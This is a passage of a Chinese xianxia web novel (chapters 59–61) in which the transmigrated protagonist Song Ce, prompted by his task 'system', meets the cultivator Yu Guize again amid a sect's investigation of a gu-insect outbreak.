心法自然显现,他踩着脚底移动的气流踏入旋涡深处,瞬间狂风大作,像是在梦中练习了无数次,就是在等这一刻,口中不自觉念出那些熟悉又陌生的咒语,体内那超出自身控制的灵气终于活了起来。
霎那间狂风呼啸,上空乌云密布,雷劫封顶,喻归泽牵引出丹田中的灵丹呼应着极渊中逐渐崩塌的山脉,身体不受控制发生变化,长尾从法衣下摆伸出,浅淡眼瞳染色般深邃起来。
由浅粉浴血赤红,无数红色血线从他施展时刻施展开向周围扩散,分出数不清的线牵制那些失控的魂魄,那些虚幻的灵体在接触到这些丝线时像是被安抚似的不再挣扎呼啸。
所有活动的物体都静止似的凝结在空中。<
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犹是活了数千年的楚生也被眼前的一切震惊地说不出话来,他看了一眼沉静的宋策。
有些自嘲地心想:“现在他的身体不似从前一般,若是喻归泽没有将他拦在保护之内,这一切定然会将他身体撕成碎片,到时候说不定又要换一副身体了。”
再找一个身体夺舍很麻烦。
若不是当年的段云清救了他,恐怕如今他是这些在炼狱中挣扎的一员了。
一缕承受不住煞气的魂魄飞到两人附近却在下一刻犹如滚水蒸腾的热气化成一抹青烟了。
世事无常,楚生收敛嘴角,靠近宋策:“你从哪儿捡到的灵族?”
他玩笑道:“下次我也去捡一个。”
系统冷冷吐槽:“你捡不到了,只此一家,你以为天灵族都像任务对象一样好脾气吗?”
不知道为什么系统总有些隐隐不安,资料里显示灵族民风彪悍,宿主做事不计后果,他总觉得会有大事发生,到时候说不定连小命都保不住。
若是喻归泽恢复记忆,想起灭族之事还能和如今一样坦然自若吗?
“我听说啊,这灵族当年灭族就是这些名门正派搞的鬼呢!”
“你小声点,你不要命了!”一个声音小心翼翼地压下另一个声音,似乎在忌惮着什么。
再想忽略这些嘈杂的声音也没办法做到,宋策重新续上一杯茶,兀自忽略了九婴传讯的消息。
“怕什么,整族灭都灭了,还指望那些人活过来杀了我不成!”
“你还别说,我听说如今天恒阁首领——”那人低着头靠近身边人。
旁人立马会意:“莲武道尊?”
“就是他,听说他就有灵族血脉!”
秘密讨论他人隐秘之事,总是带着窥探私秘的窃喜,他们压抑着那些恶劣的私欲的嬉笑,侃侃而谈。
“你知道段云清不?千年前封绝仙门大比的那位,听说这位首领就是他和那位——”
“放肆!”
“啪”地一声,一阵巨大的碰撞声打断了这场算不上小声的探讨。
杯子从二楼包厢带着凌厉的杀意被钉死在一楼木柱上,看的出这出手之人对灵力掌握程度可见一斑,即使这样深深嵌入柱子的脆弱杯子也并未损伤一毫。
“谁!”那被打断的人从人群中走出,他握着武器站起警惕地看着自己周围。
看戏的不止宋策一人,有些旁观者好笑地看着这人丑态,连出手之人的位置都找不到,有心之也能嘲笑一声蠢货。
这可是上仙界,如今喻归泽的一言堂,莲武道尊仇人不胜枚举,但追随者也如过江之鲤,没点实力也敢在这里大言不惭,这不是找死是什么。
宋策靠着窗沿,撑着脑袋饶有兴趣地看着这场好戏,不管是人间还是仙界,他都喜欢在茶馆或酒肆落脚,这种人来人往的腌臜地总是很有趣。
说他庸俗上不得台面也好说他幼稚也罢,这里是最有人气的地方。
“好大的胆子,风雪门下竟容许你这等杂碎恶意菲薄道尊大人!”
“胡乱编造这等荒唐的谬论!”
59. 现实
“OiOi,宿主,资料显示这个人的线索了”,系统兴奋地提醒宋策突然出现的人和主线任务有关系,“我们逐步解锁关键人物嘿嘿。”
系统自我陷入了美妙的幻想中,他似乎没有考虑到宋策根本没有做任务的打算。
宋策也没有点破这层尴尬的幻想。
系统知道宿主早就清楚当初他强制绑定的事情了,还以为他迫不得已做完支线任务,还能巴巴地做主线任务。
反正已经活够凡人的三辈子了,宋策觉得自己没什么遗憾了,活够了,现在死也不亏。
大不了灭世之后大家一起死,没什么大不了的。
宋策自主将系统吱哇乱叫的噪音屏蔽了。
“你是什么东西,也敢在风雪门下撒野!”
“我当时谁呢?”
“原来是个没门没派的三流货色!”说话的修士斜着眼睛撇过缓步走下来的人,眉眼之间全是对这人的蔑视。
伍南寻敛眉和这人对峙,茶馆里不乏有毫无灵力傍身的凡人,风雪门不允许修士恶斗,若是今日他先出手有错的便是他,这人就是算准了自己不敢出手。
“嗖——”一阵疾风突然破开空气。
疾风呼啸吸引了所有的人注意,等众人再回头看去,刚才还嚣张不已的人撞碎桌椅倒在地上,痛苦地抚着自己胸口,轻微地喘着气息,他身边的人急忙拉着人神色难看,他想说些什么却被一股威压震地说不出话,目眦欲裂神魂似乎被一只无形的大手扼住。
下一秒他像是溺水的人被人从水中拖起,不断大喘气,看向出手方向他瞬时怒火中烧,这人也算是有点实力,好歹是个金丹中期,攻击灵力在掌中聚集,灵力波动瞬间在众人周围相应。
许是想到什么,他有所顾忌地往后退一步,愤怒过后就是仔细思虑,他不一定是这人的对手,还不如先示弱,拖一时风雪门的人恐怕就来了。
二楼突然想起一声短促的嗤笑声,意有所指地说:“我当时谁呢,这么大胆子,原是一只魔。”
“敢在人族地盘撒野,忘了规矩?”
这时尚且在错乱中的人突然察觉出周围有一股细微的魔气蔓延,有人即可反应过来了。
“是他,他是魔族!”
“快去禀报门内!”
“有魔族!”
这两人突然被众人围堵在一处,他惶恐地看着手中散发的气息发现果真有魔气。
眼中满是不可置信和慌乱:“怎么可能?怎么可能?”
伍南寻抱着剑沉身后退,他并未出手,回眸看向二楼,竟然还有其他人。
“真精彩”,宋策敲击桌面的手顿住,有所感地看向二楼,兀自玩笑般想道,“喻归泽,上仙界万人迷吗?走哪都能遇上和你有关的人。”
“师兄回来了!”
“谁在风雪门闹事!”
“宿主,是任务对象!”被屏蔽的系统突然窜出来,他顺着宋策视线看向酒馆门外,突然涌进许多穿着相同校服的修士。
为首之人负剑从容踏入酒馆,随着他的进入,众人瞬时为他让开一条路,他眉眼一凝看向在中间缩成一团的人,察觉出那一丝四散开的魔气,他身边人立马使出仙锁将两人困住。
“魔族?”他拿出一个白玉细颈瓶将空气中那一缕细微的魔气收入瓶中。
白衣蹁跹,鲛纱云雾般的衣料轻轻划过门槛,宋策后仰收敛自己的气息,避免自己散发出一点气息,不过能不能被发现全凭运气,像喻归泽这种修为的高手完全已经用不上眼睛去看人了,只要他愿意,方圆百里的范围就在他的一念之间。
神识笼罩小小的酒馆不过是顺手的事情,宋策抿下一口烧酒,仰靠在窗户边,散落在窗台的长发被风撩起,他眯起眼心里还稍稍有些庆幸。
还好只是路过看个戏没做多余的事情,他只是一个微不足道的观众。
“宿主,这就是缘分呐,命中注定的缘分啊——呃呃咳咳咳。”
系统还想说些什么,突然像是被掐住喉咙似的声音突然消失了。
隔着酒馆中珠帘,阴影之中宋策看到了那片洁白的衣角,宋策喝酒的动作停滞,视线上移和那双平静的眼眸对上视线,举杯动作放也不是不放也不是,就僵在光影之中。
宋策有些恍惚地摸了一下自己的脸,这张脸他先前看到过,这不是撞人剑上?
宋策冷静地落下酒杯,垂眸给自己倒了一杯酒,察觉到那些难以忽视的视线。
他从容地举杯。
许是察觉到喻归泽一错不移的视线,跟在他身后的修士皆有些诧异,自家仙尊怎么突然目不转睛地看着一处,仙尊很少有分出一丝关注给谁。
他们看转头去看却发现了令人惊悚的一幕。
这个散修在干什么?
在朝尊者敬酒?
他们中间有些人当初是随着喻归泽在云州城除过妖的,看这人举止动作洒脱不羁,眉目俊朗风流似乎有些眼熟。
“这——”
“公子?”
宋策察觉到腰间别着的通讯法器再次亮起,他垂眸检查。
“公子,喻归泽已达风雪门,你在那儿?”
只是留言信息,宋策简单回复九婴,让他尽量避开喻归泽,因为他已经倒霉正好和这人碰上了。
如果他要杀人的话,他现在逃跑也来不及了,就没必要让九婴也来蹚这趟浑水了,宋策避开喻归泽凝视的眼神,心想眼下这般场景喻归泽也不可能找他麻烦了。
这么不体面的事情,喻归泽不可能在大庭广众之下抓一个毫无背景的散修,最多私下里找人把自己抓了剁了。
宋策接受度很良好。
【主线任务:
任务对象:喻归泽
任务执行者:宋策
任务支点:靠近喻归泽并保持距离在5米之内,持续时间长达5分钟
任务倒计时:23h59m59s
完成任务几分:5积分
任务失败:无惩罚】
宋策看着眼前突然亮起的屏幕,眼神有一瞬间的愣神,待看清所有内容,他……
“?”
手中杯子被宋策捏的咯
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吱响,似乎回想起某段不美好的画面,宋策很自然地问系统:“你这个蠢方法到底还要用几次?”
宋策之所以这么问完全是因为以前系统真的干过胡编任务线索骗他做任务的事情,偷偷挪用积分修改任务界面发布非主世界的任务公告。
要不是他发现积分突然少了,他还不知道绑定自己的这个系统有多蠢。
系统的电流声滋滋响算作回应宋策,好半晌他才大喊自证清白,似乎为了洗脱嫌疑他恨不得立马花积分给自己兑换一个身体蹦出来向宋策跪下来了。
“冤枉啊宿主大人,这次不是我干的!”
“我哪里还敢骗你!”
宋策沉默地左右翻看这个突然出现的任务面板,仔细检查了后面的文件内容。
“宿主,这个好像是主世界发布的任务。”系统查看了很多遍也用系统扫描了发现这居然是真的!
也不怪宿主怀疑他,说来三百年前他劝宿主做任务可是煞费苦心,从刚才时的威逼到最后的利诱,就连擅自修改任务的龌龊事情也干过。
系统悲苦的想,他也不是有心要做这种低劣系统,奈何他歪路子绑定来的宿主是真不做任务啊!
最开始好歹还能打任务擦边赚点积分,后面宿主干脆就摆烂了,啥也不干,做什么全凭心情,他每天拜天拜地求着宿主别和喻归泽打架,别把人打伤了,别欺负人,不能修炼邪术,但是宿主从来都不听他的。
到后来他感觉宿主为了提升修为快疯魔了,他实在搞不懂宿主一个出生在后灵气时代的人为什么会对修仙这么感兴趣,什么五花八门的手段无所不用其极。
就连拿任务对象双修的事情做起来也是得心应手!
简直丧心病狂!
所以他没办法,就骗宿主安安分分做任务兑换积分能重新换一个根骨奇佳的身体重新开始。
没想到当天就被宋策发现了端倪,最后被关小黑屋半年。
从此之后再也不敢了。
宋策仔细检查了任务后面的小红字。
【随机任务,不强制要求完成】
“真热闹”,脚步声从木质楼梯上有节奏地响起,随着一阵鼓掌声的还有舒缓的声音带着一丝调笑:“不知道少主大人的婚姻大事也是否有今日这般热闹。”
“阁下是?”顾玹之看向台阶上一席雾蓝色绣衣锦袍的男子,语气谦和地询问。
这人着装音色并不似风雪城的人,眼神轻慢锋利,说话咄咄逼人看着也是个有脾性的人。
看他刚才意思,似乎是受邀参与宴会的客人,顾玹之不敢怠慢。
“很好宿主,已经乱成一锅粥,靠近任务目标贴个5分钟,这积分我们就赚到了!”
系统还在劝宋策。
宋策反而不急不慢地吊着系统,强制任务他还看有没有利用价值呢凭着心情做,这种随机任务只能随缘。
“你急着投胎啊,喻归泽杀人你要不要看?”宋策语气冷淡阴恻恻地讽刺系统。
“靠近,近到什么程度?”
“近到死的程度是吧。”
60. 现实
“什么?”
“他是魔族!”
许长岁疾步靠近,整张脸满是不敢置信,她可以怀疑宋策,但是姬九婴是妖界大妖,他的判断应该是没错的。
如今人族和魔族的关系很是微妙,虽然明面上维持着和平的样子,但是两界交接处这几年一直发生冲突,内部势力暗潮汹涌互相不对付,她也能明显感觉到以莲武道尊为首的天恒阁和魔族的关系不合。
否则今天在酒馆中自家师兄也不会将那身负魔气的人给带走。
如今他们居然说那个红衣修士是只高阶血脉的魔。
“不行,师兄还把那人带回来了,我得出去一趟!”说着许长岁立马要往外走。
“他并未刻意伪装,既然我能看出来,你觉得其他人看不出?”
九婴顺势将许长岁拦住。
宋策露出凝重严肃的神情:“被扣押的两个人根本不是魔族,他们可能被下了换息术。”
这种术法能置换修道者的根本,仙者也能暂时伪作魔修,根本看不出分毫差别,和普通幻术不同。
方才在酒馆中他并未察觉出那两人有什么问题,转化仿佛只是一瞬间的事情,如果无心之人只会以为是普通魔族不小心暴露了气息。
但是宋策曾经见识过这种能在瞬息之间改变一个人修炼根本的术法。
“这种术法我曾在魔域见过,并不是什么高阶难以修炼的法决,但对施术者有要求,据说只有顶级血脉的魔能成功使用。”
曾经有只魔当着他面表演过这种小把戏,之所以说“据说”,因为他也是听那只魔说的。
他看向朝外翻涌的阴云,总觉得事情不会那么简单。
任务的每次发布都和最终目标有关联,即使差之万里也能有所牵连,最后抽吸剥茧找到那要紧的线索。
所以正真的主线任务到底牵连了多少东西?
“魔族顶级血脉?”
各族修炼全凭修炼本渊的品阶,但是少数魔族还有一样东西铺筑修炼——血脉,也只有高阶魔才能觉醒的血脉,血脉觉醒后的高阶魔对普通魔完全就是天命上的碾压。
九婴惊疑不定,“换息术”这种术法他闻所未闻,但是要说魔族顶级血脉,只能是——
“魔界君主?”
“拥有高阶血脉的魔有很多,但要属于顶级之称的只有魔君一脉。”
“好了,回来。”九婴再次无奈地拦住冲动的许长岁。
“你有证据,你说了就有人信?”
许长岁挠挠头:“我去说,我师兄会信的。”
宋策手掌撑着头,修长的指尖抵住太阳穴轻点几下。
换息术若是施法者对自己使用到时没什么,时效过了就能恢复原本,但是对别人用,受术者的修炼根本会发生异变,长时间后便完全无法吸收灵气,最终走向绝路,是个阴毒的法术。
看到宋策置身事外的眼神,许长岁漂亮的桃花眼眨巴几下,龇牙咧嘴地问他:“那现在怎么办?就干等吗?你们把这事告诉我,我就会忍不住去说的。”
“如果这是真的,说明有人故意在两界之间搅混水。”
虽然许长岁没有亲眼见证,但是听随行回来的弟子说过当时的场景,被关起来的两个修士居然敢在众多修士之中散播蛊毒,这次若不是有道尊在场说不定没办法这么快解决。
九婴摆着扇面,百无聊赖地叹了一口气,无所谓地说:“我们来吃喜酒的,从不多管闲事。”
说完他似乎还想追求一个肯定,看着宋策:“公子,你说对吧?”
系统也在喊:“当然当然,宿主我们不搞事也不怕事,顺便赚点积分对吧对吧?”
宋策面无表情地喝下一口茶,微笑:“自然。”
“可我听说你也在场?”
许长岁眯着眼怀疑地看着宋策,有弟子说有一个气度不凡黑袍修士及时控制住蛊毒扩散,才没让形势扩散。
闻言宋策长眉轻挑,轻笑:“你听错了。”
许长岁还想问些什么,但看见宋策袖口轻动,居然有两个轻飘飘的影子在他手下舞动,发现是两只灰扑扑的蝴蝶。
她好奇地伸手,一只轻盈地落在她的掌心,仔细看清才发现不是蝴蝶,是蛾子,她小心翼翼地托着手中这个脆弱的小东西。
她有些意想不到宋策居然会养这种小宠物:“这两只是你的灵宠?”
“它们能变化形态吗?”
九婴胡乱地拿着扇面拍拍自己,眼睛有些受惊的睁大,他都不敢随意碰城主养的这些小东西,虽然没有切实体会过这些毒物,但是他可是看到城主用这个东西折磨人的场景。
受刑之人可谓是生不如死。
密密麻麻的耸动在完好的皮肤下,中蛊之人痛苦地狰狞着说不出完整地一句话,身上每一个器官,每一块肉,每一滴鲜血都被啃食殆尽,痛苦不堪也还吊着一口气不得不轻声细语地回答城主的讯问。
城主极不喜无礼之人和脏污鲜血,因此杀人时尤为喜爱吊着人一口气让人慢慢说话,看着的自己血消失在皮下。
想到那画面九婴就不寒而栗,他好言劝说:“你别——”
“没事”,宋策看着许长岁逗弄这蛾子随意道,“只是普通蛊虫。”
原本没有什么芥蒂之心的许长岁听到宋策的话,捧着蛾子的手一僵,她茫然看向宋策,脸上一片空白:“蛊虫?”
“它两?”
许长岁微微长着嘴看着他。
蛊修吗?
许长岁上下看宋策:“你不是主修阵法?”
宋策扶额:“都沾点。”
系统忍不住想插嘴,在宿主这可没有主修什么道法之说,什么管用他练啥。
“两位道君,掌门请两位前厅小聚。”
门外站着一道身影,许长岁一惊赶忙将手中小家伙往宋策跟前送,小声且着急地说:“快点、快点藏起来!”
不是她胆小,只是现在是关键时期,若是被发现养蛊虫可能会引来不必要的麻烦。
她不是没怀疑过这两人,但若这一切和这两人有关,他们就不会费心思和自己说这些了。
许长岁看着眼前这人的嘴角上总是挂着温和的笑,很多时候并未在他眼中见过多少真实笑意,这人很神秘她从未在上仙界听过,却能和妖王九婴一处肯定不是普通之辈,她猜这人给出的名字也许都是假的。
但这人总给她一种熟悉感让人莫名相信他。
“走吧。”
宋策转身时衣袂带起一阵微风,两只灰色像是受到召唤的蛾子灵动地围在宋策身后,翩然钻进他的袖袍中。
“几位道君,可有解蛊的线索?”
“这种蛊虫很罕见,闻所未闻。”自宋策几人进屋他听到沉闷严肃的交谈声。
许长岁难得看到这么严肃沉静的现场,进门后她就自觉地默默站在所有人身后。
酒馆中爆发的蛊毒宋策并不陌生,那些征兆和在极渊幻境中看到的症状一模一样。
日光从琉璃高悬吊顶上倾泻落在那道白色身影上,他被所有人围在中间,宋策只能看到他高挑的背影,玉冠束发青丝散在后背。
宋策垂眸退在人群之后。
“掌门,两位公子带到了。”
系统:……
抬头的一瞬间宋策察觉到了无数视线若有若无地落在自己身上。
宋策看见顾玹之身后跟着几位外门中人,是月影寨中的人,掌门既然特意请到月影寨的人,说明风雪门已经不是第一次发生蛊虫暴乱的事。
月影寨地处魔域,寨中人多主修蛊毒之法,擅长炼蛊制毒。
为首的紫衣人盯着宋策,意味不明:“两位公子,还请上前来。”
这下近乎所有人的身体都转过来看着他们,许长岁顶着自己爹恨不得戳死她的眼神默然螃蟹碎步平移到两人侧面,躲开这么多人的注视。
她有些讪然地心想:“也是真够倒霉的,喝个酒都能碰上这种事。
九婴摇着扇子的动作僵住,他忽有所感看一眼宋策心想:“就知道出来不完全是游山玩水。”
“妖界九尾狐族姬九婴。”九婴自报家门倒也不拘束。
妖族与人族关系没有那么僵,九婴两人前几日就已经和掌门见过了。
掌门点头示意,但他的眼一直打量着宋策,九婴忍不住想:“城主,这也是你招惹的谁吗?”
宋策垂眸行礼:“随行侍从,莫远行。”
其他人好奇地看着九婴身边一身黑衣默然的宋策,妖王姬九婴他们是知道的,但从未听说过他身边这位莫远行。
从来只听过姬九婴洒脱不羁不束缚,身边也不曾听说过有什么侍从追随。
“这位公子方才是如何控制住那些失控的蛊人的?”
听到紫衣人对宋策说这句话,九婴心口一跳,视线不自觉看向宋策,惊讶的眼神似乎在追问:“不是去喝酒吗?”
“公子可养过蛊?”紫衣男子他走向事态中心站在宋策跟前。
他恭敬地向宋策行礼,言语全是谦和请教的姿态:“在下魔域月影寨梦江,还请阁下赐教。”
“一切都是我家公子的意思”,宋策眉眼低垂解释,“狐族曾经也发生过这类事,当初我家公子也是废了一番心思才解决这些麻烦。”
宋策回身看着九
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婴,在他震撼的眼神中悄无声息地将自己摘了出去,随后毫不留情地将他出卖。
九婴握着扇子的手紧了又紧,最终深深呼吸一口气,扬起那双妩媚的眼睛,勾起红唇按着宋策肩膀叹笑,他从善如流地接过这个烫手山芋:“对,百年前狐族曾经是出现过这种霍乱,当初一位炼制蛊术的神秘修士专门研究过这种蛊虫。”
某“神秘修士”抿唇压下嘴角的笑意悄无声息地摆脱九婴的胳膊,暗自脱身站到他身后。
他不担心九婴处理不了这种场合,这种蛊虫他当初教过九婴怎么处理。
“宿主,再近一点,还差一点”,系统死死盯着面板上的数据,看了眼宋策的眼色恨不得自己要推他一把,“还有15.4厘米,宿主,你再往前走一点。”
也许是处理完了天恒阁需要交代的事,早在宋策说话时瑜归泽早已退至众人身后坐在上首,他身后站着一些修士,眼神肃穆冰冷,其他看到的人或多或少会心生恐惧。
喻归泽垂眸,灿金的阳光斜斜的落在他衣袍的下摆,金丝绣制的衣服边缘浅浅泛着光,单是坐在那里就让人觉得高不可攀,任何人任何事不能扰乱他的心绪。
他置身事外般坐在高位,指尖穿过一缕金色光线,忽然他的手腕钻出一抹红色绸带穿过他的指缝与那道光线交缠,灵活的绸带不知疲倦地围着那一缕光线旋转往上像是要将光锁在中间,修长的指尖轻动点了点绸带边缘,它立马回到他的手上。
喻归泽把玩的红绸是宋策的法器,系统有些不忍直视。
乖顺的样子像极了被顺毛的小动物,喻归泽看着手中撒娇的红绸,露出一丝浅淡的笑容,鸦羽般倾长的睫毛轻轻颤动着在他白皙的脸颊落下一片阴影。
但下一瞬那双眸子轻巧地看过来,眼尾还带着未消的笑意,宋策身边的修士看到道尊突然看过皆心头一惊,有些不懂事刚出山的小修士也许是跟着家中长辈或师父才出山,从来只听过莲武道尊的威名,并未真正见过这位尊者,只知道道尊仙姿不凡,不容直视。
如今偷偷看一眼被其气度折服,但当那双凌厉的眼睛看过来时只觉得心悸颤动,不自禁皆低头沉身后退。
在他们眼中喻归泽一手创办的天恒阁,每个修士放在普通宗门都是天之骄子的存在,眼神冷的能冻死人,各个杀人不眨眼。
但现在这些修士在偷偷开小差,揣测自家尊者看的人到底是谁。
喻归泽身体微微后仰靠,他手腕中的红绸乖巧地转入他的衣袖中,他看的快,就这样宋策隔着数人在光影交错的大厅与那双平静无波的眼眸对视。
“宿主,就这样就这样,别动!”系统眼前那块板终于亮了。
【支点任务进行中
倒计时:4min59s】
那双琉璃般晶莹浅淡的眸子还如三百年前一样没有变化,平静时如一汪平静的碧水,从前宋策总爱招惹他,试图撕开他这一层冰冷的伪装,屡试不爽。
站在喻归泽身后的林离发现那种怪异感又来了,在云州城也是,他师尊从未在一个人身上这般流连关注过。
这个人不管是身姿气度还是言行举止完全不像一个仆从,刚才瞧着他与姬九婴的说话与动作完全没有下位对上位的恭顺,眉眼神色全是从容不迫。
喻归泽的眼神犹如实质压在宋策身上,就连一心关系任务的系统都快受不了,接触不良似的,声音冒着电流声。
“宿主,再等一会,等一会,马上就好了!”
喻归泽冰冷的眼神如冰棱,寒气仿佛顺着眼神往外冒,其他人似乎也发现了这位矜贵清冷的道尊的视线一直落在宋策身上。
宋策知道喻归泽这人常年冷脸,不喜与人多说话,不喜与人近身,周身完全没有人气,他身边那一圈除了天恒阁的人都没人站,活像个活阎王。
宋策压着嘴角暗想,可不就是活阎王吗,发起火来凶得要死。
这些人奇怪道尊居然如此关注姬九婴的仆从,他们不敢看喻归泽的视线,但能暗中打量这位特别的半妖。
到底是哪一位大罗神仙,心里暗自揣测这人到底哪点吸引了道尊。
修为看不出有多出众,天恒阁天才修士不知凡几,也就姿态容貌能与道尊不相上下。
比起其他人的紧张和小心翼翼,宋策倒是一副置身事外的从容模样。
他抬眼朝着喻归泽方向笑了一下,系统明显感觉到周围的气息静了一瞬。
“宿主宿主,走走走!”
“退退退!”
“他过来了!”
系统顾不得什么任务了,赶紧让宋策走,本来只想打个擦边球,别把这活阎王引过来了。
61. 回忆·现实
他步履平稳,走过光影交错的厅堂,系统的警报声刺耳且急促,但是宋策却没动,一如当年他走过尸山血海满脸堆笑走到他的身边。
正在讲解的九婴忽然被周围停滞的呼吸声吸引,他感觉到有一丝怪异的氛围正在大厅之间蔓延,迎着众人的视线回身看去。
发现自家城主真“一脸无辜”的和喻归泽对视,他脑子刹那间如针刺一般抽疼起来。
“不会吧,在这里动手?”
云州城的事情过去还没多久,刚打个照面怎么又招惹上这人了,时运不济,九婴准备硬着头皮上前阻止。
“还你。”
【支点任务进行中
剩余持续时间:2min37s】
九婴抬步的动作急停,差点一个踉跄跌倒。
喻归泽在宋策面前站定,抬手的时刻他腕部缠绕的红绸自然地沿着手掌往外伸出牵出宋策垂落的手,流水一般丝滑缓缓滑向宋策。
宋策微微抬眸看向眼前这人,动作停住任由绸缎从他手上传过来,温热的气息尚且带着另一个人的体温,他喉结稍动没做表示。
宋策猜喻归泽这是闹哪出,想他不会在法器上面下了什么禁止,等所有人不在的时候突然下手绞杀自己吧。
他的法器和喻归泽的本命法器同出一脉,不免猜测他这是想武力威胁。
宋策眉心一跳想把手抽回来但是突然感觉到牵制自己的红绸将自己一拉,手肘就当着这么多人的面被喻归泽拽起。
……
这是在抓犯人吗,还好不是两只手一起绑住了。
宋策在这种时候还有些庆幸。
“别动。”
喻归泽含着清冽冷漠的气息似乎有些不稳,最后一段绸带顺利落入他的袖口。
“本命法器不要随意给别人。”
喻归泽的眼睛看着宋策,眉目轻皱莹润的眼眸泛起一抹涟漪,宋策垂眸浅笑掩饰:“多谢道尊。”
宋策想喻归泽说的应该是他在云州城将法器借给许长岁自保的事情,思来想去应该是他还记得宋策用这个东西对他做过的一些不好的事情。
也许是看到这个糟心的东西觉得厌烦不想他拿出来让他想起以前受辱的事情?
宋策暗地里掐了一下手心的绸带,垂眸回避喻归泽的眼神,当着这么对人的面说:“我记下了。”
修道者的本命法器和主人神魂绑定,本命法器关乎其尊严和生命,认主的法器与主人同生共死,一般不轻易借给别人。
宋策不是修仙界本土人,他倒是不太在意这个,和神魂绑定的东西,就算借给别人也丢不了。
喻归泽眼帘轻颤,抿唇喉结浅动。
宋策以为他要走了,没想到下一秒喻归泽很自然地挑起他的下颌靠近一步似乎是在他脸上看什么,宋策的眼睛不自觉和他对上,在他的眼瞳中他看到自己惊讶到微张的眼。
周围呼吸声都停了了,衣袂摩擦声也销声匿迹,九婴看着这一切觉得有些魔幻,他感觉这一路的逃跑都是多此一举,这莲武道尊是看上自家城主了还是怎么的?
所以他为什么要担心城主安危和喻归泽硬钢,吃力不讨好?
林离看着周围情势不对劲,立马战术性的咳嗽了一声,不能让其他人的视线打扰到自家师尊,她要维护师尊的威严的形象。
这一声咳嗽立马将大厅中处事的众人唤醒,掩饰自己眼神的不妥之处,围着蛊虫一事开始商讨,似乎刚才的惊讶和迷茫都是错觉。
喻归泽凑近,阳光照在他身后,近到宋策都能看到喻归泽脸上的细小绒毛。
喻归泽当着这么多人的面,堂而皇之地肆意玩|弄宿主的本命法器,这简直就是就是羞辱宿主,他肯定还急着宿主当年囚禁他欺辱他的事情,这是要狠狠报复回来啊!
只是暂时还没想直接杀掉宿主,应该是找个机会慢慢羞辱折磨,毕竟当初的宿主将他骗的太惨,也许他不甘心就这么随意让宿主死了。
“宿主,既然如此先忍忍吧。”
系统电压从飙升到最后于平静,小不忍则乱大谋,系统知道宿主受苦了,还剩半分钟任务完成了。
“叮咚。”
【主线支点任务已完成
奖励积分:5积分】
宋策眼前的任务面白亮起,五积分没什么用,但是主线任务进度已经显示4.3%。
他记得在云州城的时候任务连百分之一都没到,只是做了一个支点任务就涨了好几个百分点。
下一个支点任务已经出来了,但是灰色的,被锁住了。
“可能需要开锁的时间还没到或者需要隐藏任务激活。”
自喻归泽走过来时两人就离得很近。
九婴处理完事务四处看看,走也不是,不知道该不该和城主一起走。
宋策看任务已经完成,刚有动作。
“那只狐狸,你不能带走。”
喻归泽直接传音给宋策,周围人只知道宋策走到一半突然停下了回头和人对视,都能猜到两人的对话被喻归泽加密了。
“若我偏要留下呢。”
喻归泽一言不发,凌厉的眸色并未发出任何不满,但那张脸上还是宋策熟悉的神情,固执地让人感到厌倦,好像这样硬邦邦地请求也许不算是请求的请求就能让他乖乖放人。
寸步不让,宋策好像回到了从前,他也是这样,明明是求人的话,说出来也像是命令。
“若我就是要杀掉他呢。”
也许刚开始还有过挣扎,想过沟通,试过谈判,但宋策从来都不肯松口,到头来还是他吃亏。
“什么时候能放?”
那时候的喻归泽似乎很懂流程,从善如流地开始脱衣,但宋策嗤笑一声看着地上的衣衫,瞬间觉得有些疲倦,他随手扔掉手中炼成的器物,碎裂的声音打断喻归泽的动作。
“腻了,没意思,出去。”
喻归泽瞥了眼地上的四分五裂的器物,两人对视良久最终他什么也没说垂着眼沉默着捡起衣裳离开。
也许是在魔域吧又或者在其他地方,时间久了现在的宋策也不记得最后人怎么样了,反正最后也会是喻归泽让步。
这次当然也不例外。
也许是回忆了什么不美好的事情,宋策眸子冷了下来,他嘴角微勾:“道尊想怎么样?”
“杀了我?”光脚的不怕穿鞋的,宋策也是仗着这多人喻归泽不会不分青红皂白打杀,没凭没据的他就是不认。
况且喻归泽在他手上不知道吃过多少暗亏,就算马前失足真死在他手上也不亏。
喻归泽神情一愣
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,看他上前一步的动作什么是想说些什么,但九婴顺势走近在人群的掩护下赶紧掩护宋策离开,临离开他还不忘回头不断微笑示意。
“道尊若是对狐族侍从感兴趣,下次可来我族挑几个带走。”
说完他还不忘补上一句:“他是从小跟在我身边的,家中长辈严挑细选。”
九婴还心有余悸地回头看了一眼喻归泽,在接踵擦肩的人影中,喻归泽眼睫轻颤,眸光深邃看不清到底存着什么心思。
突然感觉刚才两人之间的气氛很不对劲,谁知道城主在传音中怎么和他说话的,别把人惹恼了,九婴下意识出场将宋策带走。
九婴觉得城主不出世许久,怕不是不知道喻归泽在上仙界的权威,曾经带着天恒阁一众直接杀穿一派宗门,领着弟子在妖魔两界随意穿梭,视领域结界为无物直接生取大妖首级,刺杀魔域将级魔头。
不需要理由不要身份,不讲规矩,若是有谁要讨个公道,天恒阁也会给个说法,但是谁知道那些说法到底是不是胡编乱造的。
没办法神州大陆就是一个实力决定一切的世界。
有时候九婴觉得天恒阁就是一个大疯子带着一群小疯子到处发疯的邪教组织。
一直听家中长老叮嘱的九婴如是想,若不是城主他根本不可能和喻归泽对上,这一点他真的要“感谢”城主,让他与这位在上仙界盛名在外的人族巅峰正面交锋。
……
“宋哥,我咳咳咳……”
“我成功了”
最后一道禁制落下,那些冲动的怨鬼终于歇下了不断上涌的冲击,喻归泽也耗光最后一丝灵气从上空跌落。
宋策环住他的腰带着他落至悬崖一处穴口,为他输送灵气。
喻归泽眼睛还未恢复,只是暂时封印已经耗光他体内所有灵气,就连丹田中的灵丹也感受不到丝毫灵力了,他脸色苍白毫无血色,看着分外虚弱步履,只能虚空摩挲宋策的身影。
“我在这。”
听到那声熟悉稳重的声音,喻归泽跌宕的心跳这才有些许安稳。
宋策拧着眉看着这人及时看不清还不知死活地逞强封印极渊,这时候还自作多情地安抚起自己来。
心里窝着难以纾解的火气,说话声不免偏重:“要你逞什么能?”
“没有——”
听到这口气,喻归泽知道宋策是有些生气了,手不住地按着宋策的袖口,眼睫控制不住颤抖,倾长的睫羽不断扫着下睑,他抿着唇想说些什么。
感觉到包裹自己手的温度骤然退去,他茫然伸手去抓却扑了个空,灵气亏空的时候也没有像现在感到心口空落。
“宋哥,我……”
喻归泽悬在空中的指尖卷缩着随后胳膊落寞地落在在膝头,他低着头看上去很失落不知道说些什么。
“自己的安危永远在所有事之前”,宋策握住他无力的手微微用力将他拉进,让他靠在自己肩头,“下次不要这样。”
“我只是不想让你受伤。”
